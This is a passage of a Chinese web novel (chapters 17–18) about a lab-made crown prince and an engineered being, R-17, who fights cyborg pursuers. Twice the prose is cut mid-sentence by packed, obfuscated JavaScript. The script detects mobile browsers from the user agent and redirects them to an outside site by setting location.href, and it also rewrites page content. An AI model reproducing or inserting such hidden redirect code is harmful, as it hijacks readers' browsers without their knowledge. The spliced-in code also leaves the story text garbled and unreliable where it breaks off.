现在拍卖会肯定是进行不下去了,对方的目标看上去应当只是手稿,不针对设备。时闻歌对安瑟伦比了个手势:“庄园出事了,我立刻返回,你去后台想办法把设备带走。” “啥?什么?!什么出事了?” 时闻歌却没回答他。 他起身向外飞奔,向上翻阅跨过斗兽场般的阶梯,沿途不可避免撞上一个脖子以下全部机械化,用碳纤维和钢铁作为身体支架的改造人。那人的电子眼闪动,不带有一丝一毫的感情,有的只是残忍和对生命的无情。 他的躯体延伸部位与其说是四肢,不如说是四把硬度极高的长刀,见时闻歌冲到他眼前,一把钢刀高高抬起,寒光一闪,重重落下! 锵—— 一声狰鸣。 一只修长白皙还微微带茧的手握住刀锋,而后五指用力,刀身应声而碎。 时闻歌将长刀和机械身躯以人类血肉轻而易举撕碎,电解液和黑钢脊骨洒了一地,那颗剩下的头颅眼中红光闪闪,是属于改造人的不可置信。 “这不……可能……” “嗯?有什么不可能的。” 时闻歌迈步越过,从容优雅。 就像R-17向他所求,他却没来得及说出口的答案,也许有的人蒙在鼓里当他是皇太子,有的人察觉到了却不敢当面提起。 他和R-17当然是同类,是能相互彼此理解的唯一。 尽管倒下的改造人已经完全听不见了,时闻歌仍轻飘飘地开口,云雾般自问自答。 “因为我也是被制造出来的啊。” 17.第 17 章 十五年前,太子东宫。 六岁的时闻歌蹲在床前,一板一眼地为自己系上鞋带,他系得非常认真,仿佛全世界只有眼前这双鞋和配套的带子,专注到没听见门扉被轻轻推开的声音。 “闻歌,好了吗?” 他的专注被突然打破,手控制不住多用了点力气,像是最后一根稻草般啪地扯下鞋扣,只剩下断成两截可怜巴巴的鞋带躺在掌心。 “怎么了?”一只大手落在头顶。 大手的主人推门而入,又揉乱他的头发,时闻歌抬头,旋即将那点因扯坏鞋带的懊恼抛到脑后,努力保持皇室的端庄,上扬的尾音却忍不住暴露他的开心。 “舅舅!” 殷渡·阿兹拉尔微笑着点了点头,看见时闻歌手中的鞋带尸体:“我在,我们的太子殿下又在不小心搞破坏了?” “才没有!我已经很小心了!”时闻歌不满地撅嘴,顿了顿询问,“舅舅是来接我的吗?” “是啊,”殷渡蹲下平视六岁的小朋友,为他理顺头顶的碎发,摸了摸他瘦弱的脸,说,“舅舅是来带你离开这的,以后就跟舅舅一起住了,你如果总是弄坏东西的话,舅舅可是会破产的。” 小时闻歌最后一次看了眼东宫卧房的摆设,花纹繁复厚重的床帘尾端铺就在柔软的丝绸背面,卧室门洞开的微风吹得水晶吊灯微微晃荡,一条连续不断的木质纹理从脚下一直延伸到殷渡那里。 他没有留恋,也没有行李,将自己的手放进殷渡掌心:“可以走了,舅舅。” 从有记忆开始,时闻歌就意识到,他的父母并不爱他。 除非正式场合或者配合新闻宣传,他绝不会见到他的父亲,帝国的时云舟陛下将大把的时间留给皇宫外的红颜知己,却吝啬于多看儿子一眼。而他的母亲,帝国的皇后,每次见到儿子不是彻头彻尾的无视,就是恼羞成怒的咒骂:“时闻歌!你连把你父亲带回皇宫的能力都没有,没用的废物!” 为什么会这样? 世上为什么会有父母不爱自己的孩子呢? 时间一长,时闻歌早就学会如何在父亲和母亲内讧的夹缝中生存,直到现在母亲和父亲再也忍受不了他的那一刻。六年来他将疑问埋进心底,仅仅在今天,在唯一疼爱自己的舅舅面前问了出来:“舅舅。” 他站在皇宫门前,回身远眺檐廊和卧室窗前忘记摘下的晴天娃娃,相当冷静地问:“父亲和母亲,为什么不要我?” 殷渡循着目光回望,彼时他三十岁出头,五官清秀,闷头实验鲜少出门,导致皮肤比常年不换的白大褂还苍白,一头柔顺黑发衬得年纪更小。科研出身的他就连说话也带着一股黑白分明的冷冽,柔声道:“大概是因为,你不是他们自然结合出生的吧。” “我不明白。” 殷渡摸了摸时闻歌的头,很矮,不及成年人的腰高:“当年,我任性的妹妹,也就是你的母亲带着你父亲的精子找到我,恳求我为她制造一个孩子,我制作出数个受精卵,最后唯一一个活下来并且健康长大的就是你。” “你在我的实验室出生,你的母亲没有经历十月怀胎的生理激素变化,你的父亲在你出生前从未得知自己有一个孩子,他们当然不会爱你。” 时闻歌似懂非懂:“如果我是被母亲的子宫孕育的,她就会爱我了吗?” 殷渡点头:“从生理学的角度而言,怀孕会永久性改变女性的神经和大脑,让她更适应‘母亲’这一身份,而你的母亲没有经历过怀孕,她不认为自己是‘母亲’,所以她不爱你。” “至于你的父亲,”年轻的阿兹拉尔下一代家主耸耸肩,丝毫不觉得这是对皇帝的诽谤,“平庸的人渣罢了。” “哦。” 时闻歌接受了这个答案,一边跟随殷渡走向皇家生命科学院所在的白塔,一边思考着。皇宫和塔紧挨着,这段路并没有多长,时闻歌却觉得自己思考了很久,久到两人走回白塔。 塔内装潢和他见过的,或者在虚拟网络了解的差不多,普通的凌乱的实验室,各种看不出名堂但一定很贵的仪器胡乱到处堆放着。 殷渡带他进入电梯,刷卡直到电梯升至最高处。这是一片住宿区,殷渡刷开一间空屋:“以后你就住这里,我房间在隔壁,你以前常来的,记得吗?” 时闻歌嗯了一声。 “你先休息吧。”殷渡说。 临到殷渡离开前,时闻歌忽然拉住他的衣角,仰起的脸严肃而又执着,问出沿路走来一直思考的问题:“那舅舅为什么爱我?” “因为你是我造出来的啊。”殷渡慈爱地将他长至下巴的头发拢到耳后,“我为你选择优秀基因片段的过程,远超于普通人类女性的十月怀胎。” 时闻歌不知道这个回答是否合乎心意,他只是记下,然后将脑中冒出的所有问题都抛给全帝国公认最博学多才的舅舅:“如果我是被自然孕育的,我就会爱父亲和母亲了吗?” 他的舅舅却说:“大概不会吧。” “你的出生,是因为皇后需要一个孩子,你的地位,是因为皇帝需要一个继承人。你生而为王,而王者绝不能弱小,”殷渡认真向自己的外甥解答疑惑,“父母和子女的爱会使人变得软弱,所以你不会有,也不需要。” “人类之所以是群体动物,是因为作为个体的我们太羸弱,集居则是弱者生存的唯一方法。情感是维系群体性的纽带,当个体强大到能够独自生存时,感情反而会成为束缚。” 小时闻歌皱着脸,试图理解殷渡想要表达的东西,但他说的内容对一个六岁的孩子太过深奥了,尽管时闻歌的天赋在一颗受精卵时就被筛选过,他仍不能完全理解殷渡的含义。 殷渡也没有强迫他:“记住我的话就可以啦,你以后会理解的,至于现在,闻歌,你快去休息吧。” “从明天开始,就只有舅舅陪着你了。” 明天。 明天之后是无数个相似的一天。 时闻歌在白色高塔住了足足十二年,从六岁到十八岁,从还没大腿高的小萝卜头到一米八的合格皇太子,直到殷渡在实验室意外中过世,而他终于有机会回到六岁前居住的东宫。 没有故地重游的感慨。 没有时空交错的复杂心绪。 和六岁的他一样,时闻歌仅仅是望向卧房,十二年间没有一丁点改变,仍旧是厚重的床帘,摇曳的水晶灯。 他不发一言,没有感情地看了最后一眼,旋即转身离去,走向他应该归去的地方。 。 机车呼啸飞驰,时闻歌的头发尽数被夜风吹到脑后,如同一束热烈燃烧的野火,他没戴头盔,转而单手按住耳畔的耳机。 没有任何声音传来。 他也没有收到来自老管家或者报警系统的任何讯息。 这反而是一个坏消息,要么是R-17和庄园内的仆从沆瀣一气背叛他,要么是敌人技术高超悄无声息地劫持庄园内全部电磁信号。 在这紧要关头时闻歌甚至还有精力思考,理智上他更偏向后一种,但现在无论怎么想都不重要。郊区庄园就像一只盒子,而R-17是关在盒子里薛定谔的猫,得等他赶到庄园才知道发生了什么。 机车的最高时速逼近每小时一百五十公里,从离开拍卖会到赶回庄园,时闻歌只用了十分钟,然而就这切断通讯的仅仅十分钟—— R-17暴走了。 庄园被砸得几近废墟,楼坍塌了一半,无数的砖瓦和家具都变成此刻看不出原貌的垃圾。原本是花房的地方被一个深坑替代,深坑的中心是R-17,十数架看不清本来面貌的人形物体四处散落,定睛一看竟然和拍卖会突兀出现的那帮机械改造人没多大区别。 ——光靠外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526157|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表都能判断,他们都来自于同一家研究所。 R-17赤红着眼,胸腔起伏,微微喘息,嘴里不知道在念叨什么,手里则是一名没死透的机械改造人。 时闻歌试图叫他的名字,可他似乎屏蔽了听觉,一点多余的反应都没有,右手成爪用力一扯,一颗跳动的机械心脏便被捏成废铁。 最后一具机体被丢在深坑中心。 R-17微微抬头,风吹起额发,露出他红得妖异的眼睛。在他正对面的半空悬停一座机械化的人形机体,见时闻歌驾驶疾驰雷霆般奔来,机械改造人二话不说,好像只是深深地看了时闻歌一眼,就用一种暂时不了解的操控手段报废机车的驾驶系统。 时闻歌皱起眉。 那似乎是个少年,年龄不大,全身除了头都是漆黑的机械机体,自带黑客和动力系统,能够废掉他的交通工具,还能快速低空飞行。 “你是谁?”从来没听说过这个人物。 Root053:“无名小卒,不劳殿下挂心。” 他将空洞目光转向R-17:“任务失败,R-17暴走,搜捕小队除我以外全部失去信号,我为辅助机体,以本机体的性能无法强行将其带回,遂放弃任务。” “时闻歌,皇太子殿下,据观测对暴走的信息素具备抗性,异常,已计入观测日志。” “任务记录综上,执行撤退指令。” 时闻歌轻笑了声:“想走?” 哪知Root053短暂思考后真的点头:“是的,预估你将优先观察R-17的情况,而且失去行动工具的你不具备追上我的能力。” 时闻歌更是重量级,他觉得这个机械改造人说得没错,挥了挥手:“有道理,滚吧。” “告诉你的主人,孤掘地三尺都会把他找出来,让他别太心急。” 片刻后Root053却仍在天上,他似乎对时闻歌抱有疑问,纠结了半天还是问出口:“这是一个私人问题,我的五感和生命循环系统被改造过,因此R-17的信息素对我无效,情报传递完毕,请告诉我,你为什么也不受影响?” 时闻歌无所谓地摆手,背对着他,走向正在发疯蠢蠢欲动想要砸毁庄园剩下那半的R-17。 “我听话了我没离开庄园我听话了我没离开庄园,执行命令命令杀死所有人杀死所有人所以不要离开我……” 这个问题的答案其实就和R-17断联前询问的一样。 他没有施舍给敌人任何一个眼神,执着专注地执行认知中优先级最高的事情,他伸出双手,就像殷渡抚摸他一样抚摸R-17。 “我知道,我知道,你尽全力执行我的命令,你做得很好。” 而令Root053惊奇的是,R-17竟也没有反抗他。 R-17竟然不攻击他! 怎么可能?!这还是那个杀死无数实验体的最接近完美的R-17吗! 核心计算模块告诉Root053再不走就永远也别走了,太子殿下处理完R-17就会腾出手处理他,就算他出于私心多想得到这个答案,求生本能还是催促他飞向远方。 “这就走了?”时闻歌失望。 他的语气从容而又理所当然,根本不在乎是否有观众,也不知道是说给自己还是眼前人听,时闻歌伸手为R-17将挡住眼睛的碎发拢到脑后,而后额头抵住额头,眼睛正对眼睛。 回答着问题:“我是反社会者,我没有感情,怎么会受到信息素的影响呢。” 而后双手用力。 痛觉是唤醒意识的控制装置,在一声足以贯穿天空的惨叫中,时闻歌卸掉R-17的四肢,抱住他就像抱住一个没有反抗能力的破布娃娃。 在他因疼痛而逐渐聚焦的双眼中,时闻歌抚摸他的脸颊,温柔地说:“没事了,全都过去了,我的好孩子。” 18.第 18 章 二十分钟前,郊区野外荒芜寂寥,一队漆黑人影攀上山丘眺望不远处的洋楼,黑暗中庄园零星两三点灯火,安静得听不见一丁点声音。 Root053是这队人影的指挥。 他观察了一会,改造后的目力和望远镜差不多,他没在花园和大门发现异常,于是按下胸口的隐藏开关,将一箱冷藏的注射针管拿了出来。 他将针管分给除他以外的二十名改造人:“两种注射剂,针头都是特制的,红色的是抑制剂,可短时间内中和一定浓度的信息素,蓝色的是强效麻醉剂,用于快速击倒目标。” “根据null博士的指令,我们的任务是秘密搜寻这片区域,如发现R-17的踪迹,不惜任何代价,立即击倒并将其带回。” 这队人是地下研究所人体机械化项目的成果,身体机械化的方向也各不相同。 一名改造人掂量手中红蓝双色的试管液体,面对比他矮两个头的Root053:“五三,你能扛住R-17的信息素诱导吧,比起我们,你更适合下去。” Root053的计算模块分析几秒,他摇摇头:“我是辅助机体,身体结构脆弱,即使能抵抗信息素,在近身格斗中战胜R-17的概率很低。” “我隐藏在幕后能提高捕捉成功的概率,我将找到一个隐蔽的角落,切断庄园的全部电磁信号。” 他直视着提出疑问的那名改造人:“以上是全部作战计划,还有疑问吗?” 那人:“没了。” “原地解散,任务开始。”Root053一一扫过二十名改造人的面孔,空洞的电子眼中红光恒定闪烁。 他停顿片刻,“愿你我,物尽其用。” 。 书房内,R-17一直维持抬头的状态,眼也不眨地凝视着监控器画面中的明青临,目光像是要烧出一个洞。 “喂!”“咋没声了?!” “放我出去啊……你人呢?刚说话那人呢!” 闻的命令,是监视明青临的一举一动。 R-17不太明白,明青临有什么值得注意闻注意的地方,他一直在说些难以理解的话,还是说,人类集群中的普通个体都和明青临一样……呱噪。 R-17不太明白,但R-17会照做。 明青临绕圈,他盯着。 明青临捶地,他盯着。 明青临摆烂躺地上咒骂,他也盯着。 画面中的明青临咒骂累了,足足五分钟没说话,五分钟过后他缓过来点,又冒出一句:“我爸我妈我哥我姐我全家都不会放过你的!” R-17依旧没回应,他想,哦,原来你全家有四口人。 人类以血缘纽带构建家庭,再以家庭为单位保证群居结构的稳定性。R-17不知道自己到底算不算得上人类,但至少在血缘和家庭划分上他不是。 没有家庭。 扣分。 他心中有一套打分系统,用以判别他到底属于什么物种,说实话他自己都觉得这套行为没有意义,因为宇宙中大多数生物都知道自己从哪里诞生,生命该如何延续下去。 除了R-17。 或许是因为明青临是他有记忆以来观察的第一个普通人类,提起父母兄姐的态度如此笃定和期待,让他感受到了…… 孤独。 R-17专注地盯着明青临,专注到一不小心在昂贵的木头桌子戳了个洞。他立马回神,就听见耳麦里传来时闻歌新的命令:“在我回去之前,撬出明青临口中关于殷渡的全部信息。” “好。”他口头上答应。 心里却想,为什么闻的命令还是和明青临有关,为什么这么关注他,就因为血缘? “我想要一个答案。”R-17慢慢地说出口,他在思考,有什么是比血缘更加紧密的联系,“闻,你说我们才是同类,这句话是真的吗?” “我现在就想知道。” 时闻歌的回复很快从耳机另一端,他说:“可以。” 意思是现在就告诉你。 R-17的心提了起来,人类将血脉联系看得很重,那时闻歌也会吗?不对,闻和那些普通人不一样,他不会在乎所有天生就和他有牵绊的人。还是不对,他从小就生活在人类社会,很难说不会被人类同化。 他自己都没有意识到,在等待回答的一秒钟脑子里能闪过这么多念头,R-17屏住呼吸,暗暗期待时闻歌给出的答案是自己希望的那个。 哪知道他的希冀须臾被轰然打破,耳麦里几声巨响,似乎是爆破的声音,他下意识想提醒时闻歌小心,但刺啦一声不详的征兆,他什么也听不见了。 庄园的通讯被人截断了。 他本能地反应道。 在他反应过来的同一瞬间,R-17的身体往后一沉,背后墙壁轰轰两声被轰出个洞,一个针头闪烁锋利寒光擦着头皮划过,咻地射中地板,力道之大针尖竟全部没入地板! 想都没想,R-17单手撑地扶正身体,转头冲向针头射来的方向。 一切发生在电光火石之间,从麻醉剂射出到他回身反击仅仅过去不过一秒,残忍的幽光自暗红瞳孔中如烛火微微摇晃,在漫开的烟尘中R-17精准地抓住目标,双腿压住对方肩膀,双手再抱头用力拧转! 咔哒。 机械混合血肉的身体砸在地上,发出沉重的声响,很快没了生息。R-17轻轻落地,如同一只灵巧的猫,他环顾四周,很快发现像刚才的机械改造人不止一个。 “谁?” 截断庄园信号的人也拦截了庄园内全部电子设备,R-17的话音刚落下,监控画面尽数归为黑暗,倒映屏幕中间幽暗的人形轮廓。 Root053的声带没有被改造过,维持在成为实验体前还没变声的少年音色,通过监控自带的音频设备传来:“目标R-17已确认,依照null博士的指令,现将你带回研究所。” “不。” 形状优美的唇吐出了清晰的一个字。 就在R-17拒绝的同一时间,东西南北四个方向都冲出了全身覆盖碳钎维的改造人,用和沉重外表不符的速度冲向R-17! 闻的书房……杀人,不该在这里。 R-17咬紧下唇,拳风和麻醉针迎面扑来,他一个回身瞄准两个改造人之间的缝隙,猫身滑出包围圈,向门外跑去。 “嗯?”Root053一愣。 一个改造人问:“怎么了,五三?” “R-17的行动轨迹和研究所的数据库不符,”对战记录中的R-17面对敌人基本都是正面强攻,很少采用避战这么迂回的策略,Root053将身体与庄园的电子设备用一根数据线连接,“没事,不用在意,我接管了庄园内的全部摄像头,现在就将R-17的坐标实时同步给诸位。” 偌大的庄园内,R-17躲闪腾挪,这帮来自研究所的追兵像无穷无尽的蝗虫,怎么甩都甩不掉。 他解决了几个,但总有更多的冒出来,改造人解决起来比人类雇佣兵要麻烦得多,更何况这帮改造人情绪稳定,半点不见被影响的冲动,堵在他面前高高举起麻醉针,针管液体荧光幽蓝,他们想要用它逼R-17就范。 “是抑制剂。”扰人的声音如影随形,Root053解释,“能最大程度中和你的信息素,极大提高任务成功率,R-17,我不理解,你身体的所有权归于研究所,你为什么要违抗博士的命令?” 惨白月光照进死寂的大厅,再往外一步他就将踏出这栋房屋,跨过喷泉和花房就是庄园的大门,在这之外都是他不想去了解的世界。 一股焦躁自心头油然而生,R-17喘了口气:“博士没有资格命令我。” “你是null博士制造的产物,他没有资格那谁有资格?”Root053问。 “和你无关。” 到露天室外和敌人缠斗或许战胜的概率大一点,但面对敞开的大门,R-17一秒都没有犹豫,转身跃进长廊,踏足尽头的房间。 闻要我看着明青临。 闻没有给我下达允许离开的指令。 他只要执行闻的指令,他只要有闻就好…… 然而猛然推门却发现尽头客房根本没有明青临的身影。 他面对的是十六个手持重武器和麻醉枪的钢铁壮汉,R-17意识到自己中计了,这帮人一直在这等着埋伏他! “重复一次,我们有备而来,任务成功率极高。”Root053的声音响起。 可惜R-17在他的成长经历中没学会哪怕一句脏话,否则至少此刻他可以用恶毒的语音作为攻击武器,现在面对十六把麻醉枪,和十六个经验丰富的重型人形兵器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532210|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只能深呼吸一口气。 而后冲上前! 刹那间撞击声砰砰填满整个房间,电光火石间双方交手数次,R-17强迫自己冷静,徒手拧断一个敌人的脊椎。 然而这帮人悍不畏死,半机械化更是令他们几乎没有弱点,R-17此前从来没有和如此多的机械改造人战斗过,脊椎断了就用手□□接上,身躯被凿烂了也无所谓,只要心脏或大脑没有被捣碎,他们就有继续战斗的能力。 终于,在第四个改造人倒下时,一只不知从何处飞出的麻醉针终于击中了他的侧颈。 R-17睁大眼睛,他晃了晃,意识和力气都随着药剂起效而渐渐飘离躯体,大脑变得昏昏沉沉的,像是每一次实验结束后,睡眠瓦斯注入营养液仓,他带着不甘,坠入黑暗的深渊。 “终于搞定了。” 直到R-17彻底失去意识,Root053才松了口气,“任务进度80%。” 接下来就是把R-17带回研究所。 二十个人折的只剩下十二个,Root053看向小队,在心中一边默默计算折损率,一边透过音响指挥剩下的成员:“把他带出去,我们在庄园门口汇合。” 月光如流水淌入这满室狼藉,一行人相顾无言,架着R-17离开房间,走过长廊,来到宽阔的门厅。 Root053的声音适时响起:“我到达庄园外围大门,视觉范围确定无异常,你们赶快出来吧。” 就在改造人即将踏出离开室内的一步—— “我不能离开……我没有接到命令……” “谁的命令?”Root053询问。 “闻……m……” “时闻歌?” R-17却没回答。 他只是拼尽全力,用尽摇摇欲坠的精神和意识,徒手抓住门框,十根手指深深嵌入钢铁结构,直至整个大门都被他捏到扭曲变形。 答应了就要做到……否则,R-17无意识地呢喃:“……武器……的存在……”没有意义。 杀了他们。 杀了他们,我就可以留在这里,不用踏出大门一步。 杀掉杀掉杀掉杀掉…… 没由来的,室内温度突然节节攀升,机械改造者们正在与R-17角力,却没能注意到这一变化。远处Root053已经撤掉对庄园的信号控制,因此反应慢了一拍,等到这不正常的高温几乎蔓延到他脸上,他才意识到发生了什么。 “信息素浓度异常,警告,警告。”他扯着嗓子,通讯频道内的声音竟有种撕心裂肺的恐慌,“放开他!撤退,全部撤退!” 但是已经晚了。 R-17仍旧被胁持着,他却倏忽放弃抵抗,两只手无力地垂落,而后抬起,如若无骨地攀上抓住他的改造者肩头。 “看,我。” “别看他!”Root053说,“浓度超过阈值,抑制剂会失效的!” “都,看我。” 唰地一下,十数名改造者行动整齐划一,诡异地将所有视线投注在唯一的中心,R-17呆呆地站在那里。 月华此刻尽数浇灌在他身上,像笼上一层飘渺而华美的纱,而这纱不及他眼中妖异鬼魅半分。R-17偏了偏头:“别动。” 空洞的目光转向距离他最近的一名改造者:“把心,交给我。” “我不想离开,我没有离开,我很听话,”他的声音像是侵泡毒药的美酒,像说着请为了去死的女妖,飘飘袅袅地萦绕在耳边,“你会帮我的,你们都会帮我。” ——心脏。 机械化改造者身上唯二的弱点,同时也是所有电路和机油能源的交汇器官。 那名被他蛊惑的改造人将手抚上心口,痛觉早已被扭曲的精神屏蔽,尖锐五指用力,竟活生生地将一颗连同管路和连接件的机械心脏剜了出来! 漆黑粘稠的机油洒了一地,和浑浊的月光搅在一起,R-17捧起这颗心脏,涌动的能量在掌心压缩再压缩,而后在十二名改造者围上的刹那。 轰! 爆鸣强光呼啸明闪,一场由机械心脏过载的爆炸掀飞屋顶,将水泥地基炸出一个大坑,无数烧焦扭曲的机体四散周围,而R-17仍旧站在原地,呆滞得如同一尊僵硬的蜡像。 唯有这夜色不受影响,将清风和月华披在他身上。